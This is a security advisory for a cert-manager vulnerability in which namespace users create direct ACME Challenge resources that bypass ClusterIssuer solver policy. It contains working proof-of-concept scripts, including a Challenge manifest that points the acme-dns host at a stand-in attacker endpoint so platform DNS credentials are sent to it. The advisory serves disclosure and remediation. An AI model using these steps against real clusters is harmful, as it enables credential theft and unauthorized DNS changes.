Security advisory for GHSA-8rvj-mm4h-c258

Advisory overview

## Summary `Challenge` resources under `acme.cert-manager.io` can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an `Order`, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses `Challenge.spec.solver` as the DNS01 provider configuration. When the direct Challenge references a `ClusterIssuer`, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the `ClusterIssuer` reference, but the DNS provider configuration itself is attacker-controlled through `Challenge.spec.solver`. This lets a namespace user bypass `Issuer`/`ClusterIssuer` solver selectors such as `dnsZones`, `dnsNames`, and `matchLabels`, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names. In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the `X-Api-User` and `X-Api-Key` headers loaded by cert-manager from the ClusterIssuer resource namespace. ## Attack preconditions - The attacker can create `challenges.acme.cert-manager.io` resources in at least one namespace. - The cert-manager controller is running and reconciles ACME `Challenge` resources cluster-wide. - A usable `ClusterIssuer` exists in the cluster. - The referenced `ClusterIssuer` has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for `ClusterIssuer`. - The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration. ## Severity Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated. ## Why this is not just RBAC misconfiguration cert-manager's documented end-user workflow does not require users to manually create `Challenge` resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled `Challenge.spec.solver` as authoritative for a referenced `ClusterIssuer`. The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from `issuerRef`, while accepting the DNS provider configuration from the untrusted Challenge object. ## Affected components - ACME Challenge admission validation - ACME Challenge controller - DNS01 solver selection and DNS provider construction - Default aggregate RBAC for `challenges.acme.cert-manager.io` ## Affected versions tested The issue was reproduced on: - `master` commit `2c0f1a6a4` - latest production release `v1.20.2` commit `e5b7b1845` - `v1.19.5` commit `cda7b7896` - `v1.18.6` commit `4699caabb` See `VERSION_TEST_MATRIX.md` for the command matrix and outputs. ## Technical details Relevant code paths: - `internal/apis/acme/validation/challenge.go:44-45`: `ValidateChallenge` returns no errors on create. - `deploy/crds/acme.cert-manager.io_challenges.yaml`: `spec.solver` is a required user-controlled field on `Challenge`. - `pkg/controller/acmechallenges/scheduler/scheduler.go:51-58`: scheduler lists all Challenges. - `pkg/controller/acmechallenges/controller.go:180-197`: scheduler sets `status.processing=true`. - `pkg/controller/acmechallenges/sync.go:139-183`: controller loads the referenced Issuer and then presents the Challenge. - `pkg/issuer/acme/dns/dns.go:81`: DNS solver `Present` ignores the issuer object argument. - `pkg/issuer/acme/dns/dns.go:180-187`: DNS provider config and resource namespace are derived from `Challenge.spec`. - `pkg/controller/helper.go:39-44`: `ClusterIssuer` references use the cluster resource namespace. - `pkg/controller/helper.go:66-72`: ambient credentials are allowed based on `issuerRef.kind`. - `internal/apis/config/controller/v1alpha1/defaults.go:68-69`: ClusterIssuer ambient credentials default to enabled. - `deploy/charts/cert-manager/templates/rbac.yaml:517-519`: the aggregate edit role can create/update `challenges` and `orders`. The normal `Order` flow selects a solver from the Issuer: - `pkg/util/solverpicker/solverpicker.go`: solver selectors are evaluated. - `pkg/controller/acmeorders/util.go:94-106`: solvers are fetched from the Issuer and selected. - `pkg/controller/acmeorders/util.go:131-142`: the selected solver is copied into the generated Challenge. The direct `Challenge` flow skips that selection entirely because the direct object already contains a solver. ## Proof of concept ### PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret. The ClusterIssuer is configured to use a legitimate acme-dns host for `victim.example.com`. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name. A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration. Run from the cert-manager repository root: ```bash set -euo pipefail name=cm-direct-challenge-poc docker rm -f "$name" >/dev/null 2>&1 || true docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \ server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null cleanup() { docker rm -f "$name" >/dev/null 2>&1 || true } trap cleanup EXIT for i in $(seq 1 90); do docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break sleep 2 done docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null docker exec "$name" kubectl create ns tenant >/dev/null docker exec "$name" kubectl create ns cert-manager >/dev/null docker exec "$name" kubectl -n tenant create sa bob >/dev/null docker exec "$name" kubectl -n cert-manager create secret generic cluster-acmedns-account \ --from-literal=accounts.json='{"victim.example.com":{"username":"victim-user","password":"victim-pass","fulldomain":"x.example.org","subdomain":"x"}}' >/dev/null docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML' apiVersion: cert-manager.io/v1 kind: ClusterIssuer metadata: name: cluster-prod spec: acme: email: [email protected] server: https://acme-staging-v02.api.letsencrypt.org/directory privateKeySecretRef: name: cluster-prod-account-key solvers: - selector: dnsZones: - victim.example.com dns01: acmeDNS: host: https://legit-acmedns.example accountSecretRef: name: cluster-acmedns-account key: accounts.json YAML docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML' apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: challenge-create-only namespace: tenant rules: - apiGroups: ["acme.cert-manager.io"] resources: ["challenges"] verbs: ["create", "get", "list", "watch"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: bob-challenge-create-only namespace: tenant subjects: - kind: ServiceAccount name: bob namespace: tenant roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: challenge-create-only YAML echo "bob create challenges: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)" echo "bob get cert-manager secret: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)" echo "bob get clusterissuer: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)" echo "ClusterIssuer solver policy: $(docker exec "$name" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{" "}{.spec.acme.solvers[0].dns01.acmeDNS.host}')" docker exec -i "$name" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML' apiVersion: acme.cert-manager.io/v1 kind: Challenge metadata: name: direct-dns01 spec: authorizationURL: https://attacker.example/acme/authz/1 dnsName: victim.example.com issuerRef: group: cert-manager.io kind: ClusterIssuer name: cluster-prod key: attacker-key token: attacker-token type: DNS-01 url: https://attacker.example/acme/chal/1 solver: dns01: acmeDNS: host: https://attacker.example/acmedns accountSecretRef: name: cluster-acmedns-account key: accounts.json YAML docker exec "$name" kubectl -n tenant get challenge direct-dns01 \ -o jsonpath='{.spec.issuerRef.kind}{" "}{.spec.dnsName}{" "}{.spec.solver.dns01.acmeDNS.host}{" "}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{"\n"}' ``` Expected output: ```text bob create challenges: yes bob get cert-manager secret: no bob get clusterissuer: no ClusterIssuer solver policy: victim.example.com https://legit-acmedns.example challenge.acme.cert-manager.io/direct-dns01 created ClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account ``` This proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer. ### PoC B: acme-dns provider sends referenced credentials to the configured host This self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers. Run from repository root: ```bash set -euo pipefail cat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF' package acmedns import ( "context" "net/http" "net/http/httptest" "testing" ) func TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) { var gotUser, gotKey, gotPath string ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { gotPath = r.URL.Path gotUser = r.Header.Get("X-Api-User") gotKey = r.Header.Get("X-Api-Key") w.Header().Set("Content-Type", "application/json") w.WriteHeader(http.StatusOK) w.Write([]byte(`{"txt":"ok"}`)) })) defer ts.Close() accountJSON := []byte(`{ "victim.example.com": { "username": "victim-user", "password": "victim-pass", "fulldomain": "x.example.org", "subdomain": "x" } }`) provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil) if err != nil { t.Fatal(err) } if err := provider.Present(context.Background(), "victim.example.com", "", "txt-value"); err != nil { t.Fatal(err) } if gotPath != "/update" { t.Fatalf("path = %q, want /update", gotPath) } if gotUser != "victim-user" { t.Fatalf("X-Api-User = %q, want victim-user", gotUser) } if gotKey != "victim-pass" { t.Fatalf("X-Api-Key = %q, want victim-pass", gotKey) } } EOF docker run --rm \ -v "$PWD":/repo \ -v /tmp/cert-manager-gomod-cache:/go/pkg/mod \ -v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \ -w /repo golang:1.26-bookworm \ go test ./pkg/issuer/acme/dns/acmedns \ -run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \ -count=1 -v rm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go ``` Expected output: ```text === RUN TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost --- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost ``` Combined with PoC A and the code path in `pkg/issuer/acme/dns/dns.go`, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace. ## Credential impact scope The concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled `host` receives the `X-Api-User` and `X-Api-Key` values loaded from the referenced account JSON. For other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC. ## Expected behavior Users should not be able to create standalone `Challenge` resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct `Challenge` resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer. ## Actual behavior A user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from `issuerRef`, and uses attacker-controlled provider settings. ## Suggested remediation Possible mitigations: - Reject or ignore standalone user-created `Challenge` resources unless the controller or admission layer can confirm an existing cert-manager-created `Order` that owns the Challenge. - Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference. - Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path. - Move `Challenge` and `Order` creation permissions out of aggregate `edit` unless direct use is a supported security boundary. - Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.

Affected packages and releases

Also known as

BIT-cert-manager-2026-62290 · CVE-2026-62290

Related references

• WEB
• ADVISORY
• WEB
• WEB
• WEB
• WEB
• PACKAGE
• WEB